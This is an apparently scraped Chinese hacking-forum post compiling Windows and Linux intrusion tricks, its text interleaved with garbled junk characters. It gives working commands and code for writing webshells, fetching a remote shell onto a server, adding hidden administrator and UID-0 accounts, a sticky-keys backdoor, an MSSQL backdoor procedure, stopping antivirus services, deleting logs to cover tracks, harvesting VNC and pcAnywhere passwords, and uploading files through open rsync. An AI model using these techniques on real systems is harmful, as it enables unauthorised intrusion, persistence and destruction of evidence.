渗透技巧总结

admin

旁站路径问题
, r, F( w. y, R8 }4 ^! `1、读网站配置。
2、用以下VBS
On Error Resume Next
) Y( k1 E  [1 D3 @3 T' y5 dIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, _8 U/ h6 `. k# z4 o: e        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

( b* L; g+ g# A) Q* j3 ~' l" Q  ]Usage:Cscript vWeb.vbs",4096,"Lilo"
: I3 [- t2 `1 e  I( u1 E. @        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
5 K: a3 O* d9 Y, D9 \
/ w; E* Y' P0 c& YThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
3 Y; ~( ^+ P: R4 ]$ b  _  i
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

# g1 D* V1 Z$ I# Q. ]" }/ r( `<> 0 Then WScript.Quit (1)
, d& Z9 K: p( N- P  h. W# I                WScript.Echo Chr(10) & "[" &

2 I6 u0 N9 p3 ^3 @5 ?* a0 H' jOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
0 \, l9 V# G; N# M$ m$ h     
$ m* J+ @0 t( N0 w; [
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
9 C& [% ~" |4 w0 K      
$ C: }, Q1 B. p: Q; c1 O- K, x
         WScript.Echo "ath            : " & VDirObj.Path
        End If
! _8 L, t  q! Q" ?% G0 y2 x6 jNext
复制代码
% c, ]5 x& R7 d2 C2 R* R3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
) J8 n1 ?3 }( I5 r- E—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
% ^* X  ^! |: n% m9 gurl/wp-content/plugins/akismet/hello.php
) p% ~6 {, g' C" ]) z5 W——————————————————————
, ^7 y4 a- j5 A. r/ BphpMyAdmin暴路径办法:
5 t: R0 l; _4 d( CphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
& F2 Y9 o/ |7 b$ ~) dphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
9 A0 n5 n, Z0 E9 U6 a) H( c————————————————————
/ N9 g" M# l* dCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
8 R+ T7 I0 @- [. H4 ~- |netsh ras set user administrator deny #禁止administrator拨入该VPN
0 z- d( f% U+ G8 I( r$ p5 `netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
) |1 H3 U! D5 M' N+ r需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
: |' a$ H# H' W- c! Y% X  R2 eEXEC sp_addsrvrolemember 'test, 'sysadmin'
: ]2 M# P$ U" x$ f+ V然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

$ z/ f: o) l1 j- O) Q另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
3 |" [+ o6 f( D3 p9 _js:
' c5 m9 |) x% Z5 Mvar o=new ActiveXObject( "Shell.Users" );
. E6 d$ K1 `* S% \3 Dz=o.create("test") ;
( ^( J" F3 p# U( u" t4 Zz.changePassword("123456","")
- i. h- ?! p! i5 ^+ a0 A: i; O% Lz.setting("AccountType")=3;
  T5 z, {9 x! P: c' W
vbs:
2 B) a2 o( J0 y, H6 E( ^8 D/ YSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

. `6 l( o/ e' [# g, |+ l4 F: B命令如下
5 P$ `1 D" m- v8 G1 Gcacls c: /e /t /g everyone:F           #c盘everyone权限
* _, b) Y; U; ]5 ?/ `3 K6 zcacls "目录" /d everyone               #everyone不可读，包括admin
6 B8 S* J6 S% {# M3 ~0 G————————以下配合PR更好————
3389相关
8 l! w" E8 ]& [& S3 ~4 I/ j/ o7 ha、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
3 g/ O) j# C# R; @: t9 ]# E3 wc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
; l# _4 |" K" W2003 运行mstsc /console   
; B& B% i1 u3 r& N, @& t
3 D+ S- f9 T6 f7 ~4 H% Y杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
! m" B8 K1 i/ F! c1 M) H( @net stop "Symantec AntiVirus" /y
& H. T1 i3 d6 y9 w, ^. H" ?net stop "Symantec AntiVirus Definition Watcher" /y
1 e7 v3 f% H5 g8 B2 W/ lnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
( B3 O* l7 r+ q, g+ \& ^
卖咖啡：net stop "McAfee McShield"
9 v% A& ~. U) _. N————————————————————
# b% U( \$ j0 w- U: a
5次SHIFT：
! Q" X4 p; N. w& u9 {  ~copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
2 k, E3 L; k$ Q* Lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
! K9 u5 j; e2 Q. o9 c* t隐藏账号添加：
5 Z  G/ _+ s% G2 C) V7 E1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
7 q& F- M9 s* a; @! VMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
6 L: }2 T6 I. L1 n) j8 oGRANT exec On xp_helpsystem TO public;
———————————————————————
& Z( _, i5 v6 ]. ]: V日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
+ I* L9 W. h# _# D4 H# @直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
% m5 K9 I/ m+ e+ ], m当停止msftpsvc服务后可直接删除ex011124.log

* s! i* p7 j/ w4 C: U$ D9 ?$ ~MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
; {. }6 v) I: q( j6 ?" e( ^( y4 V找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
# s, e6 E- T" b7 @( p  @& ?  Y
  {: ?4 V/ \5 M" ^2 l$ `$ ?+ o  eServer\90\Tools\Shell\mru.dat
8 L% X( p8 h+ s—————————————————————————
% f; {6 U+ p$ H% z$ Y: e防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

: S2 s- J% f, E8 D6 [1 N<%
4 ?( ^" V$ M2 ^) qSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
7 w/ `9 P4 E' l0 x+ a% dSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
8 H1 e9 x' k$ E, w.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
& Z- ~: y, l0 v* f; p1 Q$ i* bEnd With
Set Retrieval = Nothing
$ W0 U5 m& A5 g% g9 D( b' t3 DSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
, g# Q# O9 y* `$ Q7 Z.Cancel()
.Close()
: Q$ J8 b7 r, i" d( P  ?End With
Set Ads=nothing
End Sub

  c7 Y' {0 h3 r4 ^: }/ r+ leWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
  _, G% J+ I1 Q- Q: |/ D6 [/ J8 Wregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
9 X+ G8 a$ x& d% g4 T+ D1 wRadmin 默认端口是4899，
+ R( }6 N. T( E6 FHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
: o. I* \( o# F$ I% a) E4 t如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
8 }9 ?" ^8 U% _) s/ m: X" ?4 CUsers\Application Data\Symantec\pcAnywhere\文件夹下。
  }& F+ Z, g* A/ l——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
: ~# p: T" B: |, O1 @没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
6 ^8 Y  W! ?" e! l/ }( m' |, ]  P# A<%
- T; u, y: D  |5 i# B  KstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
( [( @; `" Z) F/ JstrSQLDBPassword = "数据库密码"
6 [4 h; ?6 K9 r" X7 BstrSQLDBName = "数据库名称"
" y6 D" |7 h# c8 O( E2 sSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

6 z# |4 m# }' `, B. x- V! |7 P' p";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
7 }( O, e  Z, D5 z0 @' |
! A0 L' r3 O2 I3 i- jstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
6 P- k6 Y4 V' |7 Q/ k# Cid = request("id")
/ g0 X* j9 N6 f8 c2 K3 `strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
. s, a0 }2 D4 krs.close
! z; q# N/ {  i  I6 x%>
9 V( D7 m* d/ {* B2 S复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
& A6 j9 }; w" y7 {看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
( i; ^! z5 Y% o2 [4 G+ b' }base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

: I0 @; e' L1 G' ?3.查找管理员信息
% U; \5 z) o: X# E( d% A5 P6 {匿名方式
: |! ^+ [. G* d' O, c; q, tldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 n% N' ?+ u) q- e/ j2 p% X' s
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 C# ?2 i# `( M  O1 v有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. J5 c' @- V* |% n
# d- d5 r- a7 W( f' h1 k  g3 \% m"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 B0 E9 t2 ^0 X9 z$ M& [
, F" e$ N( \! d
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

9 m/ `% f7 n6 k$ I实战:
. t9 w$ D4 q  [7 P1.cat /etc/nsswitch
+ i0 x) a- \) J' i: [7 z看看密码登录策略我们可以看到使用了file ldap模式

/ D. H. I/ k( N2.less /etc/ldap.conf
4 i5 O4 V, n7 M" ybase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
4 L7 |/ S5 _  W, D: x匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
- t5 H+ U; A' h3 H! B; C" \/ f0 L0 a
- _- V. m. I3 t"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
; i; \4 N( l/ m1 G: uldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" t$ M# p0 r+ d( W3 k( u+ D5 m
/ D  }: ^! s" p# {- S"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 Y; ]& i# P: p
& X; n5 A' Z& p5 K
* A1 p* H4 D* y8 i/ _, ^5 W! _4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
5 O% r. U) G4 X; Q9 T) Y1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
  [, x5 m' G: k- ~2 g, Nversion: 1
  G' D, _# a5 F7 ~, j* Y( ddn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
+ U) u3 G3 [1 |/ K, R: vuid: manager
5 G  b$ h. b+ q2 \objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
: [; k3 v5 ~# F- W7 M/ r8 \) gobjectClass: top
- C1 u8 V+ o$ B/ Q# Msn: manager
; N% P: P& ]9 N- |( T* Acn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
/ l- Y3 S# k! N8 a: ]) Esn: superadmin
! e6 i1 B  T; n2 Y) a9 K; ecn: superadmin
. L4 c7 r' l! M9 m4 t
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
' _4 d+ ]0 p: l! }( LobjectClass: inetOrgPerson
objectClass: organizationalPerson
( ~% b9 P' [- X' f' D/ X" j8 l( \1 fobjectClass: person
8 _! c7 n$ W3 Z( B- c% UobjectClass: top
* F4 x1 V7 t5 p9 Y3 e. U: B2 i/ esn: admin
0 R8 r2 ~/ K/ G6 _, L6 ccn: admin

# T: d6 e$ a. j/ H1 D5 M5 udn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
- E% s3 I; o* F' j% X. U9 H3 h# S* a" _objectClass: person
objectClass: organizationalPerson
6 x9 p5 B; |7 H3 P& t. D) m# a7 WobjectClass: inetOrgPerson
2 w; f2 {% x6 usn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
% C$ K  n# N+ e! Qversion: 1
; j& u% Z3 `" P+ d" E- xdn: dc=ruc,dc=edu,dc=cn
; e: J- h( c: S6 {( V2 Edc: ruc
  j% p3 I; R) r, }objectClass: domain

* P9 d! E! n$ W, q4 P, ?- G3.查找
' B- @  B$ L+ _bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
2 l& E2 ?% L6 ~; ?. q; i" D! Wversion: 1
dn:
: O1 V8 H" V+ H4 \6 [objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
/ ^. n( X0 ]; `8 T' ]0 D' DsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
9 e! f0 X% w- [& VsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
0 i; C7 m4 h* r2 i3 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
4 W& N, V% ?1 v( Q# m4 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
7 P1 m2 G7 O, j" n- j! YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
6 r# s; c# o5 d6 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 ^7 W, X0 J2 ~- xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
! u$ ~0 l( N; [! q8 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
$ l8 Q0 z/ j! ~* m8 y( S0 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
' F) K6 U4 L3 G2 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
, P  e, r; I- Q; _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
& M' W- f' a! o( m1 P/ ]. L' ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
$ Y; Y0 b+ y% S5 E6 K( \4 jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
% P' g, T. ^+ _supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
; {# J1 L" G4 g; N$ R& qsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
4 A/ E1 x9 Y- Y. {1 z9 RsupportedControl: 2.16.840.1.113730.3.4.4
% Z3 y5 b) U* h  \& y9 W' isupportedControl: 2.16.840.1.113730.3.4.5
1 h+ y8 W) [3 S& H3 M3 B1 H' a# lsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
! }6 _2 X. p2 }$ psupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
- ?6 C5 G, k$ W" bsupportedControl: 2.16.840.1.113730.3.4.19
, M; H0 @9 g0 asupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
, W0 ]: t: i7 Z! m3 b2 h' y8 Z: IsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
4 f; p% T& l) f7 N& ]supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
7 H$ q3 ^1 X0 M+ F5 W3 d9 JsupportedLDAPVersion: 2
4 m, g2 e' Y- ~' R8 C2 l7 R0 bsupportedLDAPVersion: 3
! @9 N3 n, b6 q9 G+ E7 Y# JvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
! o; w$ _  {3 C4 B2 Z; edataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
4 s  I' O6 `! K) i, E5 y5 Z: rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
+ \) j* \# N1 d) b* q( Q  g2 MsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
: Y* b1 e1 A- }0 t: ^) r% usupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
& ^# m5 ]! [' Z1 T* BsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
5 W: q, r! L% N' @2 v6 bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
  H  }/ f7 N2 S- l' c8 X5 [supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
. d  v. W: F4 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
  W# V; `' }0 s) P/ M3 xsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
9 W7 N: P! U  c+ Q5 k4 d% {2 p+ bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
, C& I4 a4 j1 \$ w8 T. I/ h, p8 osupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
6 K1 B- \0 `+ Z) x. e# T/ R% O4 JsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
7 P1 K. O% k& }) PsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
; T6 b0 h# F* B1 E; jsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
) C9 Y- t4 f7 ?supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 g! f( U# f* `- f6 CsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
/ s8 c5 U& a9 {$ E" hsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
: A0 a9 k% |6 z; ^% v/ _# A. e: W. i3 esupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
* X1 |( n1 L3 r# O% f# O, \supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
1 x  W- O# J* L% b; L- }0 @supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
# O( Y. [+ e; I6 B! NsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
" w; ]: n' G& D( \2. NFS渗透技巧
showmount -e ip
列举IP
  \0 U; Q6 @/ T- j3 u7 U——————
% _0 f! }, u* R/ k* a+ Z, S2 l, C3.rsync渗透技巧
1.查看rsync服务器上的列表
( R: G& ?- F+ W7 W- C! @; d% Orsync 210.51.X.X::
finance
& H' b! w, q) ?3 o% Fimg_finance
auto
img_auto
html_cms
& }3 C# [: d, A/ X4 ximg_cms
ent_cms
- i1 e/ }2 x: c. \) {4 \ent_img
( I  s( \  y% x8 z/ Q8 A0 iceshi
res_img
4 e1 H2 y+ |. g" ares_img_c2
chip
chip_c2
ent_icms
4 x& u& o4 m2 Qgames
gamesimg
media
$ C3 w/ x& n, S' D6 gmediaimg
; d" R4 e' z5 ?$ \9 n( A2 n( d6 s+ gfashion
8 J+ r: \. a/ a: S. |res-fashion
res-fo
6 Z6 {% |' v9 k) c, Ptaobao-home
res-taobao-home
house
res-house
4 s4 X1 M& i5 |7 v8 Ires-home
res-edu
- ~' K" P( j$ t+ \9 t& G  Y$ a2 }res-ent
% U8 [5 o, I0 J7 {( e) f7 d  Pres-labs
res-news
res-phtv
res-media
home
/ }9 w" o7 Z( yedu
) ^, _& U) U& p3 I) [' k: a! qnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)


$ e: T2 i: l% Z" m& @) N( Z' trsync 210.51.X.X::htdocs_app/
$ _. W* j. ^8 d) k* H+ mrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

$ q5 e0 S' `0 c% z2 v$ T0 z2.下载rsync服务器上的配置文件
9 I; ?. }- ^$ g, u( hrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

" X6 {5 _* @$ S1 _3.向上更新rsync文件(成功上传,不会覆盖)
- y6 B( b+ g9 T* Q" Hrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
0 E7 N5 E  u8 Y, a
( [: b+ x2 C( f  D四.squid渗透技巧
nc -vv baidu.com 80
3 D- x" J+ K% V# k- d& ~GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
9 |9 U! {# F' Q五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

3 D6 F& h. j2 N& V' e) Y六.joomla渗透小技巧
确定版本
) ~6 O( R" B6 Y8 e6 j8 F  v" kindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
: p6 v3 s* ?- u2 M% k
15&catid=32:languages&Itemid=47
5 s1 I  b( a3 u$ }' f- w
: q. |# f7 d  s  c! f; J$ J+ z; p重新设置密码
index.php?option=com_user&view=reset&layout=confirm
" W/ \# |# {" g. h5 E% d
七: Linux添加UID为0的root用户
  S6 {- F$ D) v8 |; Puseradd -o -u 0 nothack

) t" t+ g% K$ J' I2 i' a八.freebsd本地提权
[argp@julius ~]$ uname -rsi
( R2 n0 P3 P8 G2 @* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
  F/ q2 F$ |$ B  t- k% E6 ]4 V* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- ]. t8 z8 w2 F* [argp@julius ~]$ ./nfs_mount_ex
+ ]5 a3 {& r( ]*
calling nmount()
, l+ q9 L' N. h5 V1 @& r3 ]
* i7 p9 E+ {! [2 u  g9 z5 J8 H（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
. T1 F, I+ p# e1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
